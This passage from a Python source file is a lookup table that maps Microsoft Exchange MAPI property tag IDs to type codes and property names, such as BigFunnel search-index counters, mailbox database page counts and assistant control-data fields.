None, None, 4, None, None, \"UserInformationIsFamilyMailbox\"),\n        0x320f: (0x0040, None, None, 4, None, None, \"UserInformationMailboxRegionLastUpdateTime\"),\n        0x3210: (0x0003, None, None, 4, None, None, \"UserInformationSubscribeExistingGroupMembersStatus\"),\n        0x3211: (0x101f, None, None, 4, None, None, \"UserInformationGroupMembers\"),\n        0x3212: (0x0003, None, None, 4, None, None, \"UserInformationRecipientDisplayTypeRaw\"),\n        0x3213: (0x001f, None, None, 4, None, None, \"UserInformationUITEntryVersion\"),\n        0x3214: (0x001f, None, None, 4, None, None, \"UserInformationLastRefreshedFrom\"),\n        0x3215: (0x000b, None, None, 4, None, None, \"UserInformationIsGroupMailBox\"),\n        0x3216: (0x0003, None, None, 4, None, None, \"UserInformationMailboxFolderSet\"),\n        0x3217: (0x000b, None, None, 4, None, None, \"UserInformationWasInactiveMailbox\"),\n        0x3218: (0x0040, None, None, 4, None, None, \"UserInformationInactiveMailboxRetireTime\"),\n        0x3219: (0x0040, None, None, 4, None, None, \"UserInformationOrphanSoftDeleteTrackingTime\"),\n        0x321a: (0x0014, None, None, 4, None, None, \"UserInformationSubscriptions\"),\n        0x321b: (0x001f, None, None, 4, None, None, \"UserInformationOtherMail\"),\n        0x321c: (0x000b, None, None, 4, None, None, \"UserInformationIsCIDAddedToMserv\"),\n        0x321d: (0x0003, None, None, 4, None, None, \"UserInformationMailboxWorkloads\"),\n        0x321e: (0x0040, None, None, 4, None, None, \"UserInformationCacheLastAccessTime\"),\n        0x3233: (0x000b, None, None, 4, None, None, \"UserInformationPublicFolderClientAccess\"),\n        0x330b: (0x0003, None, None, 4, None, None, \"BigFunnelLargePOITableTotalPages\"),\n        0x330c: (0x0003, None, None, 4, None, None, \"BigFunnelLargePOITableAvailablePages\"),\n        0x330d: (0x0014, None, None, 4, None, None, \"BigFunnelPOISize\"),\n        0x330e: (0x0003, None, None, 4, None, None, \"BigFunnelMessageCount\"),\n        0x330f: (0x000b, None, None, 4, None, None, \"FastIsEnabled\"),\n        0x3310: (0x0003, None, None, 4, None, None, \"NeedsToMove\"),\n        0x3311: (0x0003, None, None, 4, None, None, \"MCDBMessageTableTotalPages\"),\n        0x3312: (0x0003, None, None, 4, None, None, \"MCDBMessageTableAvailablePages\"),\n        0x3313: (0x0003, None, None, 4, None, None, \"MCDBOtherTablesTotalPages\"),\n        0x3314: (0x0003, None, None, 4, None, None, \"MCDBOtherTablesAvailablePages\"),\n        0x3315: (0x0003, None, None, 4, None, None, \"MCDBBigFunnelFilterTableTotalPages\"),\n        0x3316: (0x0003, None, None, 4, None, None, \"MCDBBigFunnelFilterTableAvailablePages\"),\n        0x3317: (0x0003, None, None, 4, None, None, \"MCDBBigFunnelLargePOITableTotalPages\"),\n        0x3318: (0x0003, None, None, 4, None, None, \"MCDBBigFunnelLargePOITableAvailablePages\"),\n        0x3319: (0x0014, None, None, 4, None, None, \"MCDBSize\"),\n        0x3320: (0x0014, None, None, 4, None, None, \"MCDBAvailableSpace\"),\n        0x3321: (0x0003, None, None, 4, None, None, \"MCDBBigFunnelPostingListTableTotalPages\"),\n        0x3322: (0x0003, None, None, 4, None, None, \"MCDBBigFunnelPostingListTableAvailablePages\"),\n        0x3323: (0x0005, None, None, 4, None, None, \"MCDBMessageTablePercentReplicated\"),\n        0x3324: (0x0005, None, None, 4, None, None, \"MCDBBigFunnelFilterTablePercentReplicated\"),\n        0x3325: (0x0005, None, None, 4, None, None, \"MCDBBigFunnelLargePOITablePercentReplicated\"),\n        0x3326: (0x0005, None, None, 4, None, None, \"MCDBBigFunnelPostingListTablePercentReplicated\"),\n        0x3327: (0x0003, None, None, 4, None, None, \"BigFunnelMailboxCreationVersion\"),\n        0x3328: (0x0003, None, None, 4, None, None, \"BigFunnelAttributeVectorCommonVersion\"),\n        0x3329: (0x0003, None, None, 4, None, None, \"BigFunnelAttributeVectorSharePointVersion\"),\n        0x3330: (0x0014, None, None, 4, None, None, \"BigFunnelIndexedSize\"),\n        0x3331: (0x0014, None, None, 4, None, None, \"BigFunnelPartiallyIndexedSize\"),\n        0x3332: (0x0014, None, None, 4, None, None, \"BigFunnelNotIndexedSize\"),\n        0x3333: (0x0014, None, None, 4, None, None, \"BigFunnelCorruptedSize\"),\n        0x3334: (0x0014, None, None, 4, None, None, \"BigFunnelStaleSize\"),\n        0x3335: (0x0014, None, None, 4, None, None, \"BigFunnelShouldNotBeIndexedSize\"),\n        0x3336: (0x0003, None, None, 4, None, None, \"BigFunnelIndexedCount\"),\n        0x3337: (0x0003, None, None, 4, None, None, \"BigFunnelPartiallyIndexedCount\"),\n        0x3338: (0x0003, None, None, 4, None, None, \"BigFunnelNotIndexedCount\"),\n        0x3339: (0x0003, None, None, 4, None, None, \"BigFunnelCorruptedCount\"),\n        0x333a: (0x0003, None, None, 4, None, None, \"BigFunnelStaleCount\"),\n        0x333b: (0x0003, None, None, 4, None, None, \"BigFunnelShouldNotBeIndexedCount\"),\n        0x333c: (0x0005, None, None, 4, None, None, \"BigFunnelL1Rank\"),\n        0x333d: (0x0002, None, None, 4, None, None, \"BigFunnelResultSets\"),\n        0x333e: (0x000b, None, None, 4, None, None, \"BigFunnelMaintainRefiners\"),\n        0x333f: (0x0003, None, None, 4, None, None, \"BigFunnelPostingListTableBuckets\"),\n        0x3340: (0x0003, None, None, 4, None, None, \"BigFunnelPostingListTargetTableBuckets\"),\n        0x3341: (0x101f, None, None, 4, None, None, \"BigFunnelL1FeatureNames\"),\n        0x3342: (0x1003, None, None, 4, None, None, \"BigFunnelL1FeatureValues\"),\n        0x3343: (0x0003, None, None, 4, None, None, \"MCDBLogonScenarioTotalPages\"),\n        0x3344: (0x0003, None, None, 4, None, None, \"MCDBLogonScenarioAvailablePages\"),\n        0x3345: (0x0003, None, None, 4, None, None, \"BigFunnelMasterIndexVersion\"),\n        0x33f0: (0x0102, None, None, 4, None, None, \"ControlDataForRecordReviewNotificationTBA\"),\n        0x33fe: (0x0102, None, None, 4, None, None, \"ControlDataForBigFunnelQueryParityAssistant\"),\n        0x33ff: (0x0003, None, None, 4, None, None, \"BigFunnelQueryParityAssistantVersion\"),\n        0x3401: (0x0003, None, None, 4, None, None, \"MessageTableTotalPages\"),\n        0x3402: (0x0003, None, None, 4, None, None, \"MessageTableAvailablePages\"),\n        0x3403: (0x0003, None, None, 4, None, None, \"OtherTablesTotalPages\"),\n        0x3404: (0x0003, None, None, 4, None, None, \"OtherTablesAvailablePages\"),\n        0x3405: (0x0003, None, None, 4, None, None, \"AttachmentTableTotalPages\"),\n        0x3406: (0x0003, None, None, 4, None, None, \"AttachmentTableAvailablePages\"),\n        0x3407: (0x0003, None, None, 4, None, None, \"MailboxTypeVersion\"),\n        0x3408: (0x1048, None, None, 4, None, None, \"MailboxPartitionMailboxGuids\"),\n        0x3409: (0x0003, None, None, 4, None, None, \"BigFunnelFilterTableTotalPages\"),\n        0x340a: (0x0003, None, None, 4, None, None, \"BigFunnelFilterTableAvailablePages\"),\n        0x340b: (0x0003, None, None, 4, None, None, \"BigFunnelPostingListTableTotalPages\"),\n        0x340c: (0x0003, None, None, 4, None, None, \"BigFunnelPostingListTableAvailablePages\"),\n        0x3417: (0x001f, None, None, 4, None, None, \"ProviderDisplayIcon\"),\n        0x3418: (0x001f, None, None, 4, None, None, \"ProviderDisplayName\"),\n        0x3432: (0x0102, None, None, 4, None, None, \"ControlDataForDirectoryProcessorAssistant\"),\n        0x3433: (0x000b, None, None, 4, None, None, \"NeedsDirectoryProcessor\"),\n        0x3434: (0x101f, None, None, 4, None, None, \"RetentionQueryIds\"),\n        0x3435: (0x0014, None, None, 4, None, None, \"RetentionQueryInfo\"),\n        0x3436: (0x0040, None, None, 4, None, None, \"MailboxLastProcessedTimestamp\"),\n        0x3437: (0x0102, None, None, 4, None, None, \"ControlDataForPublicFolderAssistant\"),\n        0x3438: (0x0102, None, None, 4, None, None, \"ControlDataForInferenceTrainingAssistant\"),\n        0x3439: (0x000b, None, None, 4, None, None, \"InferenceEnabled\"),\n        0x343b: (0x0003, None, None, 4, None, None, \"ContactLinking\"),\n        0x343c: (0x0102, None, None, 4, None, None, \"ControlDataForOABGeneratorAssistant\"),\n        0x343d: (0x0003, None, None, 4, None, None, \"ContactSaveVersion\"),\n        0x3440: (0x0102, None, None, 4, None, None, \"PushNotificationSubscriptionType\"),\n        0x3442: (0x0102, None, None, 4, None, None, \"ControlDataForInferenceDataCollectionAssistant\"),\n        0x3443: (0x0102, None, None, 4, None, None, \"InferenceDataCollectionProcessingState\"),\n        0x3444: (0x0102, None, None, 4, None, None, \"ControlDataForPeopleRelevanceAssistant\"),\n        0x3445: (0x0003, None, None, 4, None, None, \"SiteMailboxInternalState\"),\n        0x3446: (0x0102, None, None, 4, None, None, \"ControlDataForSiteMailboxAssistant\"),\n        0x3447: (0x0003, None, None, 4, None, None, \"InferenceTrainingLastContentCount\"),\n        0x3448: (0x0040, None, None, 4, None, None, \"InferenceTrainingLastAttemptTimestamp\"),\n        0x3449: (0x0040, None, None, 4, None, None, \"InferenceTrainingLastSuccessTimestamp\"),\n        0x344a: (0x0003, None, None, 4, None, None, \"InferenceUserCapabilityFlags\"),\n        0x344b: (0x0102, None, None, 4, None, None, \"ControlDataForMailboxAssociationReplicationAssistant\"),\n        0x344c: (0x0040, None, None, 4, None, None, \"MailboxAssociationNextReplicationTime\"),\n        0x344d: (0x0003, None, None, 4, None, None, \"MailboxAssociationProcessingFlags\"),\n        0x344e: (0x0102, None, None, 4, None, None, \"ControlDataForSharePointSignalStoreAssistant\"),\n        0x344f: (0x0102, None, None, 4, None, None, \"ControlDataForPeopleCentricTriageAssistant\"),\n        0x3450: (0x0003, None, None, 4, None, None, \"NotificationBrokerSubscriptions\"),\n        0x3452: (0x0014, None, None, 4, None, None, \"ElcLastRunTotalProcessingTime\"),\n        0x3453: (0x0014, None, None, 4, None, None, \"ElcLastRunSubAssistantProcessingTime\"),\n        0x3454: (0x0014, None, None, 4, None, None, \"ElcLastRunUpdatedFolderCount\"),\n        0x3455: (0x0014, None, None, 4, None, None, \"ElcLastRunTaggedFolderCount\"),\n        0x3456: (0x0014, None, None, 4, None, None, \"ElcLastRunUpdatedItemCount\"),\n        0x3457: (0x0014, None, None, 4, None, None, \"ElcLastRunTaggedWithArchiveItemCount\"),\n        0x3458: (0x0014, None, None, 4, None, None, \"ElcLastRunTaggedWithExpiryItemCount\"),\n        0x3459: (0x0014, None, None, 4, None, None, \"ElcLastRunDeletedFromRootItemCount\"),\n        0x345a: (0x0014, None, None, 4, None, None, \"ElcLastRunDeletedFromDumpsterItemCount\"),\n        0x345b: (0x0014, None, None, 4, None, None, \"ElcLastRunArchivedFromRootItemCount\"),\n        0x345c: (0x0014, None, None, 4, None, None, \"ElcLastRunArchivedFromDumpsterItemCount\"),\n        0x345d: (0x0040, None, None, 4, None, None, \"ScheduledISIntegLastFinished\"),\n        0x345f: (0x0040, None, None, 4, None, None, \"ELCLastSuccessTimestamp\"),\n        0x3460: (0x0040, None, None, 4, None, None, \"EventEmailReminderTimer\"),\n        0x3463: (0x0102, None, None, 4, None, None, \"ControlDataForGroupMailboxAssistant\"),\n        0x3464: (0x0003, None, None, 4, None, None, \"ItemsPendingUpgrade\"),\n        0x3465: (0x0003, None, None, 4, None, None, \"ConsumerSharingCalendarSubscriptionCount\"),\n        0x3466: (0x0003, None, None, 4, None, None, \"GroupMailboxGeneratedPhotoVersion\"),\n        0x3467: (0x0102, None, None, 4, None, None, \"GroupMailboxGeneratedPhotoSignature\"),\n        0x3468: (0x0003, None, None, 4, None, None, \"AadGroupPublishedVersion\"),\n        0x3469: (0x001f, None, None, 4, None, None, \"ElcFaiSaveStatus\"),\n        0x346a: (0x001f, None, None, 4, None, None, \"ElcFaiDeleteStatus\"),\n        0x346b: (0x0102, None, None, 4, None, None, \"ControlDataForCleanupActionsAssistant\"),\n        0x346c: (0x1003, None, None, 4, None, None, \"HolidayCalendarVersionInfo\"),\n        0x346d: (0x0003, None, None, 4, None, None, \"HolidayCalendarSubscriptionCount\"),\n        0x346e: (0x0003, None, None, 4, None, None, \"HolidayCalendarHierarchyVersion\"),\n        0x346f: (0x0003, None, None, 4, None, None, \"CalendarVersion\"),\n        0x3470: (0x0102, None, None, 4, None, None, \"ControlDataForDefaultViewIndexAssistant\"),\n        0x3471: (0x0040, None, None, 4, None, None, \"DefaultViewAssistantLastIndexTime\"),\n        0x3472: (0x0102, None, None, 4, None, None, \"ControlDataForAuditTimeBasedAssitantAssistant\"),\n        0x3473: (0x0040, None, None, 4, None, None, \"SystemCategoriesViewLastIndexTime\"),\n        0x3474: (0x0102, None, None, 4, None, None, \"ControlDataForComplianceJobAssistant\"),\n        0x3475: (0x0102, None, None, 4, None, None, \"ControlDataForGoLocalAssistant\"),\n        0x3476: (0x0102, None, None, 4, None, None, \"ControlDataForUserGroupsRelevanceAssistant\"),\n        0x3477: (0x0040, None, None, 4, None, None, \"GroupMailboxLastUsageCollectionTime\"),\n        0x3478: (0x0040, None, None, 4, None, None, \"EventPushReminderTimer\"),\n        0x3479: (0x000b, None, None, 4, None, None, \"PushReminderSubscriptionType\"),\n        0x347a: (0x0102, None, None, 4, None, None, \"ControlDataForHashtagsRelevanceAssistant\"),\n        0x347b: (0x0102, None, None, 4, None, None, \"ControlDataForSearchFeatureExtractionAssistant\"),\n        0x347c: (0x0040, None, None, 4, None, None, \"EventMeetingConflictTimer\"),\n        0x347d: (0x0040, None, None, 4, None, None, \"MentionsViewLastIndexTime\"),\n        0x347e: (0x0102, None, None, 4, None, None, \"O365SuiteNotificationType\"),\n        0x347f: (0x0102, None, None, 4, None, None, \"ControlDataForResourceUsageLoggingTimeBasedAssistant\"),\n        0x3480: (0x0102, None, None, 4, None, None, \"ControlDataForConferenceRoomUsageAssistant\"),\n        0x3481: (0x0102, None, None, 4, None, None, \"ControlDataForRetrospectiveFeaturizationAssistant\"),\n        0x3482: (0x000b, None, None, 4, None, None, \"ConferenceRoomUsageUpdateNeeded\"),\n        0x3483: (0x0102, None, None, 4, None, None, \"ControlDataForGriffinTimeBasedAssistant\"),\n        0x3484: (0x0102, None, None, 4, None, None, \"FeaturizerExperimentId\"),\n        0x3485: (0x0102, None, None, 4, None, None, \"ControlDataForPeopleInsightsTimeBasedAssistant\"),\n        0x3486: (0x001f, None, None, 4, None, None, \"MailboxPreferredLocation\"),\n        0x3487: (0x0102, None, None, 4, None, None, \"ControlDataForContentSubmissionAssistant\"),\n        0x3489: (0x0102, None, None, 4, None, None, \"ControlDataForPublicFolderHierarchySyncAssistant\"),\n        0x348a: (0x0102, None, None, 4, None, None, \"LastActiveParentEntryId\"),\n        0x348b: (0x000b, None, None, 4, None, None, \"WasParentDeletedItems\"),\n        0x348c: (0x0003, None, None, 4, None, None, \"PushSyncProcessingFlags\"),\n        0x348d: (0x0102, None, None, 4, None, None, \"ControlDataForSuggestedUserGroupAssociationsAssistant\"),\n        0x348e: (0x0102, None, None, 4, None, None, \"ControlDataForReminderSettingsAssistant\"),\n        0x348f: (0x0102, None, None, 4, None, None, \"ControlDataForFileExtractionTimeBasedAssistant\"),\n        0x3490: (0x0102, None, None, 4, None, None, \"ControlDataForMailboxDataExportAssistant\"),\n        0x3491: (0x0102, None, None, 4, None, None, \"ControlDataForXrmActivityStreamMaintenanceAssistant\"),\n        0x3492: (0x0003, None, None, 4, None, None, \"GroupMailboxSegmentationVersion\"),\n        0x3493: (0x0102, None, None, 4, None, None, \"ControlDataForTimeProfileTimeBasedAssistant\"),\n        0x3494: (0x000b, None, None, 4, None, None, \"ReactorSubscriptionCreationNeeded\"),\n        0x3495: (0x0102, None, None, 4, None, None, \"ControlDataForMailboxUsageAnalysisAssistant\"),\n        0x3496: (0x0102, None, None, 4, None, None, \"ControlDataForContactCleanUpAssistant\"),\n        0x3497: (0x0102, None, None, 4, None, None, \"ControlDataForGroupCalendarSubscriptionAssistant\"),\n        0x3498: (0x0102, None, None, 4, None, None, \"ControlDataForGriffinLightweightTimeBasedAssistant\"),\n        0x3499: (0x0102, None, None, 4, None, None, \"ControlDataForXrmAutoTaggingMaintenanceAssistant\"),\n        0x349a: (0x0102, None, None, 4, None, None, \"ControlDataForCalculatedValueTimeBasedAssistant\"),\n        0x349b: (0x0102, None, None, 4, None, None, \"ControlDataForSkypeContactCleanUpAssistant\"),\n        0x349c: (0x0102, None, None, 4, None, None, \"ControlDataForShardRelevancyAssistant\"),\n        0x349d: (0x0003, None, None, 4, None, None, \"MeetingLocationCacheVersion\"),\n        0x349e: (0x0040, None, None, 4, None, None, \"SuperFocusedViewLastIndexTime\"),\n        0x34a0: (0x0102, None, None, 4, None, None, \"ControlDataForCalendarFeaturizationAssistant\"),\n        0x34a1: (0x0102, None, None, 4, None, None, \"ControlDataForBigFunnelRetryFeederTimeBasedAssistant\"),\n        0x34a2: (0x0003, None, None, 4, None, None, \"MeetingLocationCacheVersionV3\"),\n        0x34a3: (0x0102, None, None, 4, None, None, \"ControlDataForSharingMigrationTimeBasedAssistant\"),\n        0x34a4: (0x0102, None, None, 4, None, None, \"ControlDataForDynamicAttachmentTimeBasedAssistant\"),\n        0x34a5: (0x0102, None, None, 4, None, None, \"ControlDataForSharingSyncAssistant\"),\n        0x34a6: (0x0040, None, None, 4, None, None, \"TailoredPropertiesViewLastIndexTime\"),\n        0x34a7: (0x000b, None, None, 4, None, None, \"AtpDynamicAttachmentEnabled\"),\n        0x34a8: (0x0003, None, None, 4, None, None, \"MailboxAssociationVersion\"),\n        0x34af: (0x0102, None, None, 4, None, None, \"ResourceUsageAggregate\"),\n        0x34b0: (0x000b, None, None, 4, None, None, \"ResourceUsageDataReady\"),\n        0x34b1: (0x0040, None, None, 4, None, None, \"ResourceUsageMinDateTime\"),\n        0x34b2: (0x0040, None, None, 4, None, None, \"ResourceUsageMaxDateTime\"),\n        0x34b3: (0x0003, None, None, 4, None, None, \"ResourceUsageNumberOfActivities\"),\n        0x34b4: (0x0003, None, None, 4, None, None, \"ResourceUsageNumberOfCallsSlow\"),\n        0x34b5: (0x0003, None, None, 4, None, None, \"ResourceUsageTotalCalls\"),\n        0x34b6: (0x0003, None, None, 4, None, None, \"ResourceUsageTotalChunks\"),\n        0x34b7: (0x0003, None, None, 4, None, None, \"ResourceUsageTotalCpuTimeKernel\"),\n        0x34b8: (0x0003, None, None, 4, None, None, \"ResourceUsageTotalCpuTimeUser\"),\n        0x34b9: (0x0003, None, None, 4, None, None, \"ResourceUsageTotalDatabaseReadWaitTime\"),\n        0x34ba: (0x0003, None, None, 4, None, None, \"ResourceUsageTotalDatabaseTime\"),\n        0x34bb: (0x0014, None, None, 4, None, None, \"ResourceUsageTotalLogBytes\"),\n        0x34bc: (0x0003, None, None, 4, None, None, \"ResourceUsageTotalPagesDirtied\"),\n        0x34bd: (0x0003, None, None, 4, None, None, \"ResourceUsageTotalPagesPreread\"),\n        0x34be: (0x0003, None, None, 4, None, None, \"ResourceUsageTotalPagesRead\"),\n        0x34bf: (0x0003, None, None, 4, None, None, \"ResourceUsageTotalPagesRedirtied\"),\n        0x34c0: (0x0003, None, None, 4, None, None, \"ResourceUsageTotalTime\"),\n        0x34c1: (0x0102, None, None, 4, None, None, \"ControlDataForPicwAssistant\"),\n        0x34c2: (0x0014, None, None, 4, None, None, \"ResourceUsageClientTypeBitmap\"),\n        0x34c3: (0x0003, None, None, 4, None, None, \"ConnectorConfigurationCount\"),\n        0x34c4: (0x0102, None, None, 4, None, None, \"ResourceUsageRollingAvgRopAggregate\"),\n        0x34c5: (0x0003, None, None, 4, None, None, \"ResourceUsageRollingAvgRop\"),\n        0x34c6: (0x0014, None, None, 4, None, None, \"ResourceUsageRollingClientTypes\"),\n        0x34c7: (0x0102, None, None, 4, None, None, \"ControlDataForComposeGroupSuggestionTimeBasedAssistant\"),\n        0x34c8: (0x000b, None, None, 4, None, None, \"HasSubstrateData\"),\n        0x34c9: (0x0102, None, None, 4, None, None, \"ControlDataForAddressListIndexAssistant\"),\n        0x34ca: (0x0102, None, None, 4, None, None, \"ControlDataForActivitySharingTimeBasedAssistant\"),\n        0x34cb: (0x0102, None, None, 4, None, None, \"ControlDataForShardRelevancyMultiStepAssistant\"),\n        0x34cc: (0x0102, None, None, 4, None, None, \"ControlDataForXrmProvisioningTimeBasedAssistant\"),\n        0x34cd: (0x0102, None, None, 4, None, None, \"ControlDataForSmbTenantProvisioningAssistant\"),\n        0x34ce: (0x0102, None, None, 4, None, None, \"ControlDataForSupervisoryReviewTimeBasedAssistant\"),\n        0x34cf: (0x0102, None, None, 4, None, None, \"ControlDataForMailboxQuotaAssistant\"),\n        0x34d0: (0x000b, None, None, 4, None, None, \"IsQuotaSetByMailboxQuotaAssistant\"),\n        0x34d1: (0x0040, None, None, 4, None, None, \"SuperReactClientViewLastIndexTime\"),\n        0x34d2: (0x0003, None, None, 4, None, None, \"FileFolderFlags\"),\n        0x3500: (0x0102, None, None, 4, None, None, \"ControlDataForBookingsTimeBasedAssistant\"),\n        0x35d8: (0x0102, None, None, 4, None, None, \"RootEntryId\"),\n        0x35e1: (0x0102, None, None, 4, None, None, \"IpmInboxEntryId\"),\n        0x35e8: (0x0102, None, None, 4, None, None, \"SpoolerQueueEntryId\"),\n        0x35e9: (0x0102, None, None, 4, None, None, \"ProtectedMailboxKey\"),\n        0x35ea: (0x0102, None, None, 4, None, None, \"SyncRootFolderEntryId\"),\n        0x35eb: (0x0102, None, None, 4, None, None, \"UMVoicemailFolderEntryId\"),\n        0x35ed: (0x0102, None, None, 4, None, None, \"EHAMigrationFolderEntryId\"),\n        0x35f6: (0x0102, None, None, 4, None, None, \"DeletionsFolderEntryId\"),\n        0x35f7: (0x0102, None, None, 4, None, None, \"PurgesFolderEntryId\"),\n        0x35f8: (0x0102, None, None, 4, None, None, \"DiscoveryHoldsFolderEntryId\"),\n        0x35f9: (0x0102, None, None, 4, None, None, \"VersionsFolderEntryId\"),\n        0x35fa: (0x0102, None, None, 4, None, None, \"ControlDataForBigFunnelMetricsCollectionAssistant\"),\n        0x35fb: (0x0003, None, None, 4, None, None, \"BigFunnelMetricsCollectionAssistantVersion\"),\n        0x35fc: (0x0102, None, None, 4, None, None, \"PublicFolderDiscoveryHoldsEntryId\"),\n        0x35fd: (0x0102, None, None, 4, None, None, \"SystemFolderEntryId\"),\n        0x35ff: (0x0102, None, None, 4, None, None, \"ArchiveFolderEntryId\"),\n        0x361c: (0x0102, None, None, 4, None, None, \"PackedNamedProps\"),\n        0x3645: (0x000b, None, None, 4, None, None, \"PartOfContentIndexing\"),\n        0x3647: (0x0003, None, None, 4, None, None, \"SearchFolderAgeOutTimeout\"),\n        0x3648: (0x0003, None, None, 4, None, None, \"SearchFolderPopulationResult\"),\n        0x3649: (0x0102, None, None, 4, None, None, \"SearchFolderPopulationDiagnostics\"),\n        0x364a: (0x0003, None, None, 4, None, None, \"FolderDatabaseVersion\"),\n        0x364b: (0x0014, None, None, 4, None, None, \"SystemMessageCount\"),\n        0x364c: (0x0014, None, None, 4, None, None, \"SystemMessageSize\"),\n        0x364d: (0x0014, None, None, 4, None, None, \"SystemMessageSizeWarningQuota\"),\n        0x364e: (0x0014, None, None, 4, None, None, \"SystemMessageSizeShutoffQuota\"),\n        0x364f: (0x0003, None, None, 4, None, None, \"TotalPages\"),\n        0x3651: (0x000b, None, None, 4, None, None, \"ClusterMessages\"),\n        0x3652: (0x0102, None, None, 4, None, None, \"MessageTenantPartitionHintForValidation\"),\n        0x3653: (0x0102, None, None, 4, None, None, \"BigFunnelPOIUncompressed\"),\n        0x3655: (0x000b, None, None, 4, None, None, \"BigFunnelPOIIsUpToDate\"),\n        0x3656: (0x000b, None, None, 4, None, None, \"AggressiveOportunisticPromotionForMessages\"),\n        0x3657: (0x0102, None, None, 4, None, None, \"BigFunnelPartialPOIUncompressed\"),\n        0x3658: (0x0048, None, None, 4, None, None, \"MessageMailboxGuidForValidation\"),\n        0x3659: (0x0003, None, None, 4, None, None, \"DatabaseSchemaVersion\"),\n        0x365a: (0x0003, None, None, 4, None, None, \"BigFunnelPoiNotNeededReason\"),\n        0x365b: (0x000b, None, None, 4, None, None, \"PerUserTrackingBasedOnImmutableId\"),\n        0x365c: (0x0003, None, None, 4, None, None, \"SetSearchCriteriaFlags\"),\n        0x365d: (0x000b, None, None, 4, None, None, \"LargeOnPageThreshold\"),\n        0x3661: (0x000b, None, None, 4, None, None, \"SecondaryKeyConstraintEnabled\"),\n        0x3662: (0x001f, None, None, 4, None, None, \"SecondaryKey\"),\n        0x3663: (0x0003, None, None, 4, None, None, \"BigFunnelPOIContentFlags\"),\n        0x3664: (0x0102, None, None, 4, None, None, \"ControlDataForInferenceClutterCleanUpAssistant\"),\n        0x3665: (0x0003, None, None, 4, None, None, \"BigFunnelMailboxPOIVersion\"),\n        0x3666: (0x0003, None, None, 4, None, None, \"BigFunnelMessageUncompressedPOIVersion\"),\n        0x3669: (0x0102, None, None, 4, None, None, \"ControlDataForInferenceTimeModelAssistant\"),\n        0x366a: (0x0003, None, None, 4, None, None, \"MailCategorizerProcessedVersion\"),\n        0x368e: (0x0102, None, None, 4, None, None, \"BigFunnelPOI\"),\n        0x368f: (0x0003, None, None, 4, None, None, \"ContentAggregationFlags\"),\n        0x36bf: (0x0102, None, None, 4, None, None, \"UMFaxFolderEntryId\"),\n        0x36cc: (0x001f, None, None, 4, None, None, \"RecoveredPublicFolderOriginalPath\"),\n        0x36cd: (0x0102, None, None, 4, None, None, \"PerMailboxRecoveryContainerEntryId\"),\n        0x36ce: (0x0102, None, None, 4, None, None, \"LostAndFoundFolderEntryId\"),\n        0x36cf: (0x0102, None, None, 4, None, None, \"CurrentIPMWasteBasketContainerEntryId\"),\n        0x36d6: (0x0102, None, None, 4, None, None, \"RemindersSearchOfflineFolderEntryId\"),\n        0x36db: (0x0040, None, None, 4, None, None, \"ContainerTimestamp\"),\n        0x36dc: (0x0102, None, None, 4, None, None, \"AppointmentColorName\"),\n        0x36dd: (0x0003, None, None, 4, None, None, \"INetUnread\"),\n        0x36de: (0x0003, None, None, 4, None, None, \"NetFolderFlags\"),\n        0x36df: (0x0102, None, None, 4, None, None, \"FolderWebViewInfo\"),\n        0x36e0: (0x0102, None, None, 4, None, None, \"FolderWebViewInfoExtended\"),\n        0x36e1: (0x0003, None, None, 4, None, None, \"FolderViewFlags\"),\n        0x36e6: (0x001f, None, None, 4, None, None, \"DefaultPostDisplayName\"),\n        0x36eb: (0x0102, None, None, 4, None, None, \"FolderViewList\"),\n        0x36ec: (0x0003, None, None, 4, None, None, \"AgingPeriod\"),\n        0x36ee: (0x0003, None, None, 4, None, None, \"AgingGranularity\"),\n        0x36f0: (0x0003, None, None, 4, None, None, \"DefaultFoldersLocaleId\"),\n        0x36f1: (0x000b, None, None, 4, None, None, \"InternalAccess\"),\n        0x36f2: (0x0102, None, None, 4, None, None, \"PublicFolderSplitStateBinary\"),\n        0x36f3: (0x0102, None, None, 4, None, None, \"PublicFolderHierarchySyncNotificationsFolderEntryId\"),\n        0x36f4: (0x000b, None, None, 4, None, None, \"IncludeInContentIndex\"),\n        0x36f5: (0x0102, None, None, 4, None, None, \"PublicFolderProcessorsStateBinary\"),\n        0x36f6: (0x000b, None, None, 4, None, None, \"SystemUse\"),\n        0x36f7: (0x0048, None, None, 4, None, None, \"LowLatencyContainerId\"),\n        0x36f8: (0x0003, None, None, 4, None, None, \"LowLatencyContainerQuota\"),\n        0x3710: (0x0003, None, None, 4, None, None, \"AttachmentMimeSequence\"),\n        0x371c: (0x000b, None, None, 4, None, None, \"FailedInboundICalAsAttachment\"),\n        0x3720: (0x001f, None, None, 4, None, None, \"AttachmentOriginalUrl\"),\n        0x3880: (0x0102, None, None, 4, None, None, \"SyncEventSuppressGuid\"),\n        0x39fd: (0x101f, None, None, 4, None, None, \"ListOfContactPhoneNumbersAndEmails\"),\n        0x3a3f: (0x000b, None, None, 4, None, None, \"SkipSynchronousDelivery\"),\n        0x3a76: (0x001f, None, None, 4, None, None, \"PartnerNetworkId\"),\n        0x3a77: (0x001f, None, None, 4, None, None, \"PartnerNetworkUserId\"),\n        0x3a78: (0x001f, None, None, 4, None, None, \"PartnerNetworkThumbnailPhotoUrl\"),\n        0x3a79: (0x001f, None, None, 4, None, None, \"PartnerNetworkProfilePhotoUrl\"),\n        0x3a7a: (0x001f, None, None, 4, None, None, \"PartnerNetworkContactType\"),\n        0x3a7b: (0x0003, None, None, 4, None, None, \"RelevanceScore\"),\n        0x3a7c: (0x000b, None, None, 4, None, None, \"IsDistributionListContact\"),\n        0x3a7d: (0x000b, None, None, 4, None, None, \"IsPromotedContact\"),\n        0x3bfa: (0x101f, None, None, 4, None, None, \"UserConfiguredConnectedAccounts\"),\n        0x3bfe: (0x001f, None, None, 4, None, None, \"OrgUnitName\"),\n        0x3bff: (0x001f, None, None, 4, None, None, \"OrganizationName\"),\n        0x3d0b: (0x001f, None, None, 4, None, None, \"ServiceEntryName\"),\n        0x3d22: (0x0102, None, None, 4, None, None, \"Win32NTSecurityDescriptor\"),\n        0x3d23: (0x000b, None, None, 4, None, None, \"NonWin32ACL\"),\n        0x3d24: (0x000b, None, None, 4, None, None, \"ItemLevelACL\"),\n        0x3d2e: (0x0102, None, None, 4, None, None, \"ICSGid\"),\n        0x3d87: (0x0003, None, None, 4, None, None, \"BigFunnelPostingReplicationScavengedBucketsWatermark\"),\n        0x3d88: (0x0003, None, None, 4, None, None, \"BigFunnelPostingListReplicationScavengedBucketsAllowed\"),\n        0x3d89: (0x0040, None, None, 4, None, None, \"BigFunnelLastCleanupMaintenance\"),\n        0x3d8b: (0x0040, None, None, 4, None, None, \"BigFunnelPostingListLastCompactionMerge\"),\n        